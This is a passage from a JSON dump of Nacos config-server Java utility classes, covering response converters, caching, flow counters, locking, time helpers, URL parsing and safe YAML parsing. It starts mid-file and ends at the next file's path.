    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigDetailInfo;\nimport com.alibaba.nacos.api.config.model.ConfigGrayInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigHistoryInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport jakarta.servlet.http.HttpServletResponse;\nimport org.springframework.beans.BeanUtils;\n\nimport java.io.IOException;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\n\n/**\n * Response Utils.\n *\n * @author Nacos\n */\npublic class ResponseUtil {\n    \n    /**\n     * Write error msg.\n     */\n    public static void writeErrMsg(HttpServletResponse response, int httpCode, String msg) {\n        response.setStatus(httpCode);\n        try {\n            response.getWriter().println(msg);\n        } catch (IOException e) {\n            DEFAULT_LOG.error(\"ResponseUtil:writeErrMsg wrong\", e);\n        }\n    }\n    \n    /**\n     * Transfer from {@link ConfigAllInfo} to {@link ConfigDetailInfo} for APIs.\n     *\n     * @param configAllInfo {@link ConfigAllInfo} config all information from storage.\n     * @return {@link ConfigDetailInfo} for APIs response.\n     */\n    public static ConfigDetailInfo transferToConfigDetailInfo(ConfigAllInfo configAllInfo) {\n        ConfigDetailInfo result = new ConfigDetailInfo();\n        BeanUtils.copyProperties(configAllInfo, result);\n        result.setNamespaceId(configAllInfo.getTenant());\n        result.setGroupName(configAllInfo.getGroup());\n        return result;\n    }\n    \n    /**\n     * Transfer from {@link ConfigInfo} to {@link ConfigBasicInfo} for APIs.\n     *\n     * @param configInfo {@link ConfigInfo} config basic information from storage.\n     * @return {@link ConfigBasicInfo} for APIs response.\n     */\n    public static ConfigBasicInfo transferToConfigBasicInfo(ConfigInfo configInfo) {\n        ConfigBasicInfo result = new ConfigBasicInfo();\n        BeanUtils.copyProperties(configInfo, result);\n        result.setNamespaceId(configInfo.getTenant());\n        result.setGroupName(configInfo.getGroup());\n        return result;\n    }\n    \n    /**\n     * Transfer from {@link ConfigInfoWrapper} to {@link ConfigBasicInfo} for APIs.\n     *\n     * @param configInfo {@link ConfigInfoWrapper} config basic information from storage.\n     * @return {@link ConfigBasicInfo} for APIs response.\n     */\n    public static ConfigBasicInfo transferToConfigBasicInfo(ConfigInfoWrapper configInfo) {\n        ConfigBasicInfo result = transferToConfigBasicInfo((ConfigInfo) configInfo);\n        result.setModifyTime(configInfo.getLastModified());\n        return result;\n    }\n    \n    /**\n     * Transfer from {@link ConfigInfoGrayWrapper} to {@link ConfigGrayInfo} for APIs.\n     *\n     * @param configInfoGray {@link ConfigInfoGrayWrapper} config gray information from storage.\n     * @return {@link ConfigGrayInfo} for APIs response.\n     */\n    public static ConfigGrayInfo transferToConfigGrayInfo(ConfigInfoGrayWrapper configInfoGray) {\n        ConfigGrayInfo result = new ConfigGrayInfo();\n        BeanUtils.copyProperties(configInfoGray, result);\n        result.setNamespaceId(configInfoGray.getTenant());\n        result.setGroupName(configInfoGray.getGroup());\n        result.setCreateUser(configInfoGray.getSrcUser());\n        result.setModifyTime(configInfoGray.getLastModified());\n        return result;\n    }\n    \n    /**\n     * Transfer from {@link ConfigHistoryInfo} to {@link ConfigHistoryBasicInfo} for APIs.\n     *\n     * @param historyInfo {@link ConfigHistoryInfo} config history information from storage.\n     * @return {@link ConfigHistoryBasicInfo} for APIs response.\n     */\n    public static ConfigHistoryBasicInfo transferToConfigHistoryBasicInfo(ConfigHistoryInfo historyInfo) {\n        ConfigHistoryBasicInfo result = new ConfigHistoryBasicInfo();\n        BeanUtils.copyProperties(historyInfo, result);\n        injectHistoryBasicInfo(result, historyInfo);\n        return result;\n    }\n    \n    /**\n     * Transfer from {@link ConfigHistoryInfo} to {@link ConfigHistoryDetailInfo} for APIs.\n     *\n     * @param historyInfo {@link ConfigHistoryInfo} config history information from storage.\n     * @return {@link ConfigHistoryDetailInfo} for APIs response.\n     */\n    public static ConfigHistoryDetailInfo transferToConfigHistoryDetailInfo(ConfigHistoryInfo historyInfo) {\n        ConfigHistoryDetailInfo result = new ConfigHistoryDetailInfo();\n        BeanUtils.copyProperties(historyInfo, result);\n        injectHistoryBasicInfo(result, historyInfo);\n        return result;\n    }\n    \n    private static void injectHistoryBasicInfo(ConfigHistoryBasicInfo historyBasicInfo, ConfigHistoryInfo historyInfo) {\n        historyBasicInfo.setNamespaceId(historyInfo.getTenant());\n        historyBasicInfo.setGroupName(historyInfo.getGroup());\n        historyBasicInfo.setCreateTime(historyInfo.getCreatedTime().getTime());\n        historyBasicInfo.setModifyTime(historyInfo.getLastModifiedTime().getTime());\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/SimpleCache.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\n/**\n * A simple Cache with TTL, not cleared for expired entry.\n *\n * @param <E> the cache type\n * @author fengHan, jiuRen\n */\npublic class SimpleCache<E> {\n    \n    final ConcurrentMap<String, CacheEntry<E>> cache = new ConcurrentHashMap<>();\n    \n    private static class CacheEntry<E> {\n        \n        final long expireTime;\n        \n        final E value;\n        \n        public CacheEntry(E value, long expire) {\n            this.expireTime = expire;\n            this.value = value;\n        }\n    }\n    \n    /**\n     * Put data.\n     */\n    public void put(String key, E e, long ttlMs) {\n        if (key == null || e == null) {\n            return;\n        }\n        CacheEntry<E> entry = new CacheEntry<>(e, System.currentTimeMillis() + ttlMs);\n        cache.put(key, entry);\n    }\n    \n    /**\n     * Get data.\n     */\n    public E get(String key) {\n        CacheEntry<E> entry = cache.get(key);\n        if (entry != null && entry.expireTime > System.currentTimeMillis()) {\n            return entry.value;\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/SimpleFlowData.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.config.server.Config;\nimport com.alibaba.nacos.core.utils.ClassUtils;\n\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * Simple Flow data.\n *\n * @author Nacos\n */\npublic class SimpleFlowData {\n    \n    private int index = 0;\n    \n    private AtomicInteger[] data;\n    \n    private int average;\n    \n    private int slotCount;\n    \n    private ScheduledExecutorService timer = ExecutorFactory.Managed\n            .newSingleScheduledExecutorService(ClassUtils.getCanonicalName(Config.class),\n                    new NameThreadFactory(\"com.alibaba.nacos.config.flow.control\"));\n    \n    public SimpleFlowData(int slotCount, int interval) {\n        this.slotCount = slotCount;\n        data = new AtomicInteger[slotCount];\n        for (int i = 0; i < data.length; i++) {\n            data[i] = new AtomicInteger(0);\n        }\n        timer.scheduleAtFixedRate(this::rotateSlot, interval, interval, TimeUnit.MILLISECONDS);\n    }\n    \n    public int addAndGet(int count) {\n        return data[index].addAndGet(count);\n    }\n    \n    public int incrementAndGet() {\n        return data[index].incrementAndGet();\n    }\n    \n    /**\n     * Rotate the slot.\n     */\n    public void rotateSlot() {\n        int total = 0;\n        \n        for (int i = 0; i < slotCount; i++) {\n            total += data[i].get();\n        }\n        \n        average = total / slotCount;\n        \n        index = (index + 1) % slotCount;\n        data[index].set(0);\n    }\n    \n    public int getCurrentCount() {\n        return data[index].get();\n    }\n    \n    public int getAverageCount() {\n        return this.average;\n    }\n    \n    public int getSlotCount() {\n        return this.slotCount;\n    }\n    \n    public String getSlotInfo() {\n        StringBuilder sb = new StringBuilder();\n        \n        int index = this.index + 1;\n        \n        for (int i = 0; i < slotCount; i++) {\n            if (i > 0) {\n                sb.append(' ');\n            }\n            sb.append(this.data[(i + index) % slotCount].get());\n        }\n        return sb.toString();\n    }\n    \n    public int getCount(int prevStep) {\n        prevStep = prevStep % this.slotCount;\n        int index = (this.index + this.slotCount - prevStep) % this.slotCount;\n        return this.data[index].intValue();\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/SimpleIpFlowData.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.config.server.Config;\nimport com.alibaba.nacos.core.utils.ClassUtils;\n\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * According to IP flow control, control the number of individual IP and IP total.\n *\n * @author leiwen.zh\n */\npublic class SimpleIpFlowData {\n    \n    private AtomicInteger[] data;\n    \n    private int slotCount;\n    \n    private int averageCount;\n    \n    private ScheduledExecutorService timer = ExecutorFactory.Managed\n            .newSingleScheduledExecutorService(ClassUtils.getCanonicalName(Config.class),\n                    new NameThreadFactory(\"com.alibaba.nacos.config.flow.control.ip\"));\n    \n    public SimpleIpFlowData(int slotCount, int interval) {\n        if (slotCount <= 0) {\n            this.slotCount = 1;\n        } else {\n            this.slotCount = slotCount;\n        }\n        data = new AtomicInteger[slotCount];\n        for (int i = 0; i < data.length; i++) {\n            data[i] = new AtomicInteger(0);\n        }\n        timer.scheduleAtFixedRate(this::rotateSlot, interval, interval, TimeUnit.MILLISECONDS);\n    }\n    \n    /**\n     * Atomically increments by one the current value.\n     */\n    public int incrementAndGet(String ip) {\n        int index = 0;\n        if (ip != null) {\n            index = ip.hashCode() % slotCount;\n        }\n        if (index < 0) {\n            index = -index;\n        }\n        return data[index].incrementAndGet();\n    }\n    \n    /**\n     * Rotate the slot.\n     */\n    public void rotateSlot() {\n        int totalCount = 0;\n        for (int i = 0; i < slotCount; i++) {\n            totalCount += data[i].get();\n            data[i].set(0);\n        }\n        this.averageCount = totalCount / this.slotCount;\n    }\n    \n    public int getCurrentCount(String ip) {\n        int index = 0;\n        if (ip != null) {\n            index = ip.hashCode() % slotCount;\n        }\n        if (index < 0) {\n            index = -index;\n        }\n        return data[index].get();\n    }\n    \n    public int getAverageCount() {\n        return this.averageCount;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/SimpleReadWriteLock.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\n/**\n * Simplest read-write lock implementation. Requires locking and unlocking must be called in pairs.\n *\n * @author Nacos\n */\npublic class SimpleReadWriteLock {\n    \n    /**\n     * Zero means no lock; Negative Numbers mean write locks; Positive Numbers mean read locks, and the numeric value\n     * represents the number of read locks.\n     */\n    private int status = 0;\n    \n    /**\n     * Try read lock.\n     */\n    public synchronized boolean tryReadLock() {\n        if (isWriteLocked()) {\n            return false;\n        } else {\n            status++;\n            return true;\n        }\n    }\n    \n    /**\n     * Release the read lock.\n     */\n    public synchronized void releaseReadLock() {\n        // when status equals 0, it should not decrement to negative numbers\n        if (status == 0) {\n            return;\n        }\n        status--;\n    }\n    \n    /**\n     * Try write lock.\n     */\n    public synchronized boolean tryWriteLock() {\n        if (!isFree()) {\n            return false;\n        } else {\n            status = -1;\n            return true;\n        }\n    }\n    \n    public synchronized void releaseWriteLock() {\n        status = 0;\n    }\n    \n    private boolean isWriteLocked() {\n        return status < 0;\n    }\n    \n    private boolean isFree() {\n        return status == 0;\n    }\n\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/StatConstants.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\n/**\n * Stat constant.\n *\n * @author Nacos\n */\npublic class StatConstants {\n    \n    private StatConstants() {\n    }\n    \n    public static final String APP_NAME = \"nacos\";\n    \n    public static final String STAT_AVERAGE_HTTP_GET_OK = \"AverageHttpGet_OK\";\n    \n    public static final String STAT_AVERAGE_HTTP_GET_NOT_MODIFIED = \"AverageHttpGet_Not_Modified\";\n    \n    public static final String STAT_AVERAGE_HTTP_GET_OTHER = \"AverageHttpGet_Other_Status\";\n    \n    public static final String STAT_AVERAGE_HTTP_POST_CHECK = \"AverageHttpPost_Check\";\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/SystemConfig.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.net.InetAddress;\nimport java.net.NetworkInterface;\nimport java.util.Enumeration;\n\n/**\n * System config.\n *\n * @author Nacos\n */\npublic class SystemConfig {\n    \n    public static final String LOCAL_IP = getHostAddress();\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SystemConfig.class);\n    \n    private static String getHostAddress() {\n        String address = System.getProperty(\"nacos.server.ip\");\n        if (StringUtils.isNotEmpty(address)) {\n            return address;\n        } else {\n            address = InternetAddressUtil.localHostIp();\n        }\n        try {\n            Enumeration<NetworkInterface> en = NetworkInterface.getNetworkInterfaces();\n            while (en.hasMoreElements()) {\n                NetworkInterface ni = en.nextElement();\n                Enumeration<InetAddress> ads = ni.getInetAddresses();\n                while (ads.hasMoreElements()) {\n                    InetAddress ip = ads.nextElement();\n                    // Compatible group does not regulate 11 network segments\n                    if (!ip.isLoopbackAddress() && ip.getHostAddress().indexOf(\":\") == -1\n                        /* && ip.isSiteLocalAddress() */) {\n                        return ip.getHostAddress();\n                    }\n                }\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"get local host address error\", e);\n        }\n        return address;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/TimeUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.utils.DateFormatUtils;\n\nimport java.sql.Timestamp;\nimport java.util.Calendar;\n\n/**\n * Time util.\n *\n * @author Nacos\n */\npublic class TimeUtils {\n    \n    private static final String YYYYMMMDDHHMMSS = \"yyyy-MM-dd HH:mm:ss\";\n    \n    public static Timestamp getCurrentTime() {\n        return new Timestamp(System.currentTimeMillis());\n    }\n    \n    public static String getCurrentTimeStr() {\n        Calendar c = Calendar.getInstance();\n        c.setTimeInMillis(System.currentTimeMillis());\n        return DateFormatUtils.format(c.getTime(), YYYYMMMDDHHMMSS);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/TimeoutUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * A utility class that handles timeouts and is used by the client to retrieve the total timeout of the data. After\n * obtaining the data from the network,totalTime is accumulated. Before obtaining the data from the network, check\n * whether the totalTime is greater than totalTimeout. If yes, it indicates the totalTimeout\n *\n * @author leiwen.zh\n */\npublic class TimeoutUtils {\n    \n    /**\n     * Total time to get the data of consumption, the unit of ms.\n     */\n    private final AtomicLong totalTime = new AtomicLong(0L);\n    \n    private volatile long lastResetTime;\n    \n    private volatile boolean initialized = false;\n    \n    /**\n     * Total timeout to get data, the unit of ms.\n     */\n    private long totalTimeout;\n    \n    /**\n     * The cumulative expiration time of the time consumed by fetching the data, the unit of ms.\n     */\n    private long invalidThreshold;\n    \n    public TimeoutUtils(long totalTimeout, long invalidThreshold) {\n        this.totalTimeout = totalTimeout;\n        this.invalidThreshold = invalidThreshold;\n    }\n    \n    /**\n     * Init last reset time.\n     */\n    public synchronized void initLastResetTime() {\n        if (initialized) {\n            return;\n        }\n        lastResetTime = System.currentTimeMillis();\n        initialized = true;\n    }\n    \n    /**\n     * Cumulative total time.\n     */\n    public void addTotalTime(long time) {\n        totalTime.addAndGet(time);\n    }\n    \n    /**\n     * Is timeout.\n     */\n    public boolean isTimeout() {\n        return totalTime.get() > this.totalTimeout;\n    }\n    \n    /**\n     * Clean the total time.\n     */\n    public void resetTotalTime() {\n        if (isTotalTimeExpired()) {\n            totalTime.set(0L);\n            lastResetTime = System.currentTimeMillis();\n        }\n    }\n    \n    public AtomicLong getTotalTime() {\n        return totalTime;\n    }\n    \n    private boolean isTotalTimeExpired() {\n        return System.currentTimeMillis() - lastResetTime > this.invalidThreshold;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/TraceLogUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Trace util.\n *\n * @author Nacos\n */\npublic class TraceLogUtil {\n    \n    /**\n     * Record requests for each interface of the Server.\n     */\n    public static Logger requestLog = LoggerFactory.getLogger(\"com.alibaba.nacos.config.request\");\n    \n    /**\n     * Record polling request records for each client.\n     */\n    public static Logger pollingLog = LoggerFactory.getLogger(\"com.alibaba.nacos.config.polling\");\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/UrlAnalysisUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.constant.Constants;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * Url util.\n *\n * @author leiwen.zh\n */\npublic class UrlAnalysisUtils {\n    \n    private static final Pattern URL_PATTERN = Pattern.compile(\"^(\\\\w+://)?([\\\\w\\\\.]+:)(\\\\d*)?(\\\\??.*)\");\n    \n    public static String getContentIdentity(String content) {\n        \n        if (!verifyIncrementPubContent(content)) {\n            return null;\n        }\n        \n        Matcher matcher = URL_PATTERN.matcher(content);\n        StringBuilder buf = new StringBuilder();\n        if (matcher.find()) {\n            String scheme = matcher.group(1);\n            String address = matcher.group(2);\n            String port = matcher.group(3);\n            if (scheme != null) {\n                buf.append(scheme);\n            }\n            buf.append(address);\n            if (port != null) {\n                buf.append(port);\n            }\n        }\n        return buf.toString();\n    }\n    \n    private static boolean verifyIncrementPubContent(String content) {\n        \n        if (content == null || content.length() == 0) {\n            return false;\n        }\n        for (int i = 0; i < content.length(); i++) {\n            char c = content.charAt(i);\n            if (c == '\\r' || c == '\\n') {\n                return false;\n            }\n            if (c == Constants.WORD_SEPARATOR.charAt(0)) {\n                return false;\n            }\n        }\n        return true;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/YamlParserUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.ConfigMetadata;\nimport org.yaml.snakeyaml.DumperOptions;\nimport org.yaml.snakeyaml.LoaderOptions;\nimport org.yaml.snakeyaml.constructor.AbstractConstruct;\nimport org.yaml.snakeyaml.constructor.SafeConstructor;\nimport org.yaml.snakeyaml.introspector.Property;\nimport org.yaml.snakeyaml.Yaml;\nimport org.yaml.snakeyaml.nodes.MappingNode;\nimport org.yaml.snakeyaml.nodes.Node;\nimport org.yaml.snakeyaml.nodes.NodeTuple;\nimport org.yaml.snakeyaml.nodes.ScalarNode;\nimport org.yaml.snakeyaml.nodes.SequenceNode;\nimport org.yaml.snakeyaml.nodes.Tag;\nimport org.yaml.snakeyaml.representer.Representer;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * YamlParserUtil.\n *\n * @author Nacos\n */\npublic class YamlParserUtil {\n    \n    /**\n     * Serialize a Java object into a YAML string.\n     *\n     * @param object Java object.\n     * @return YAML string.\n     */\n    public static String dumpObject(Object object) {\n        return new Yaml(new YamlParserConstructor(), new CustomRepresenter()).dumpAsMap(object);\n    }\n    \n    /**\n     * Parse YAML String and produce the corresponding Java object (Standard Java classes and in YamlParserConstructor\n     * specified Construct).\n     *\n     * @param content YAML String\n     * @param type    Java object.\n     * @param <T>     Java object type.\n     * @return Java object.\n     */\n    public static <T> T loadObject(String content, Class<T> type) {\n        return new Yaml(new YamlParserConstructor(), new CustomRepresenter()).loadAs(content, type);\n    }\n    \n    public static class YamlParserConstructor extends SafeConstructor {\n        \n        public static final Tag CONFIG_METADATA_TAG = new Tag(ConfigMetadata.class);\n        \n        public YamlParserConstructor() {\n            super(new LoaderOptions());\n            yamlConstructors.put(CONFIG_METADATA_TAG, new ConstructYamlConfigMetadata());\n        }\n    }\n    \n    public static class CustomRepresenter extends Representer {\n    \n        public CustomRepresenter() {\n            super(new DumperOptions());\n        }\n    \n        @Override\n        protected NodeTuple representJavaBeanProperty(Object javaBean, Property property, Object propertyValue,\n                Tag customTag) {\n            if (propertyValue == null) {\n                return null;\n            } else {\n                return super.representJavaBeanProperty(javaBean, property, propertyValue, customTag);\n            }\n        }\n    }\n    \n    public static class ConstructYamlConfigMetadata extends AbstractConstruct {\n        \n        @Override\n        public Object construct(Node node) {\n            if (!YamlParserConstructor.CONFIG_METADATA_TAG.getValue().equals(node.getTag().getValue())) {\n                throw new NacosRuntimeException(NacosException.INVALID_PARAM,\n                        \"could not determine a constructor for the tag \" + node.getTag() + node.getStartMark());\n            }\n            \n            MappingNode mNode = (MappingNode) node;\n            List<NodeTuple> value = mNode.getValue();\n            if (CollectionUtils.isEmpty(value)) {\n                return null;\n            }\n            NodeTuple nodeTuple = value.get(0);\n            ConfigMetadata configMetadata = new ConfigMetadata();\n            SequenceNode sequenceNode = (SequenceNode) nodeTuple.getValueNode();\n            if (CollectionUtils.isEmpty(sequenceNode.getValue())) {\n                return configMetadata;\n            }\n            \n            List<ConfigMetadata.ConfigExportItem> exportItems = sequenceNode.getValue().stream().map(itemValue -> {\n                ConfigMetadata.ConfigExportItem configExportItem = new ConfigMetadata.ConfigExportItem();\n                MappingNode itemMap = (MappingNode) itemValue;\n                List<NodeTuple> propertyValues = itemMap.getValue();\n                Map<String, String> metadataMap = new HashMap<>(propertyValues.size());\n                propertyValues.forEach(metadata -> {\n                    ScalarNode keyNode = (ScalarNode) metadata.getKeyNode();\n                    ScalarNode valueNode = (ScalarNode) metadata.getValueNode();\n                    metadataMap.put(keyNode.getValue(), valueNode.getValue());\n                });\n                configExportItem.setDataId(metadataMap.get(\"dataId\"));\n                configExportItem.setGroup(metadataMap.get(\"group\"));\n                configExportItem.setType(metadataMap.get(\"type\"));\n                configExportItem.setDesc(metadataMap.get(\"desc\"));\n                configExportItem.setAppName(metadataMap.get(\"appName\"));\n                configExportItem.setConfigTags(metadataMap.get(\"configTags\"));\n                return configExportItem;\n            }).collect(Collectors.toList());\n            \n            configMetadata.setMetadata(exportItems);\n            return configMetadata;\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/ZipUtils.java",
